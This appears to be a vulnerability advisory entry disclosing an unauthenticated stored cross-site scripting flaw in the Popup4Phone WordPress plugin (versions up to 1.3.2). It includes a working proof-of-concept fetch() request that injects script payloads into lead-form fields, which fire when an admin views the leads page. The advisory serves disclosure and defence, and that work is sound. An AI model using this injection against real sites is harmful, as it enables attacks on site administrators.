Lucene search

K
wpvulndbBob MatyasWPVDB-ID:81DBB5C0-CCDD-4AF1-B2F2-71CB1B37FE93
HistoryApr 26, 2024 - 12:00 a.m.

Popup4Phone <= 1.3.2 - Unauthenticated Stored XSS

2024-04-2600:00:00
Bob Matyas
wpscan.com
4
popup4phone
unauthenticated
stored xss
cross-site scripting
plugin
poc
may 10 2024

AI Score

5.9

Confidence

High

EPSS

0

Percentile

9.0%

Description The plugin does not sanitise and escape some parameters, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins.

PoC

Run the following JavaScript in the browser console: fetch("/", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": "popup4phone%5Bws_pages_submit_url%5D=&amp;popup4phone;%5Bws_pages_submit_title%5D=Popup4Phone+%E2%80%93+WPScan+Vulnerability+Testbench&amp;popup4phone;%5Bname%5D=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&amp;popup4phone;%5Bphone%5D=%22%3E%3Cscript%3Ealert(2)%3C%2Fscript%3E&amp;popup4phone;%5Bemail%5D=test%40example.com&amp;popup4phone;%5Bmessage%5D=test&amp;ajax;=1", "credentials": "include" }).then(response =&gt; response.text()) .then(data =&gt; console.log(data)); After running the JavaScript, log in as an admin and browse to “Popup4Phone > Leads” and see the XSS

AI Score

5.9

Confidence

High

EPSS

0

Percentile

9.0%

Related for WPVDB-ID:81DBB5C0-CCDD-4AF1-B2F2-71CB1B37FE93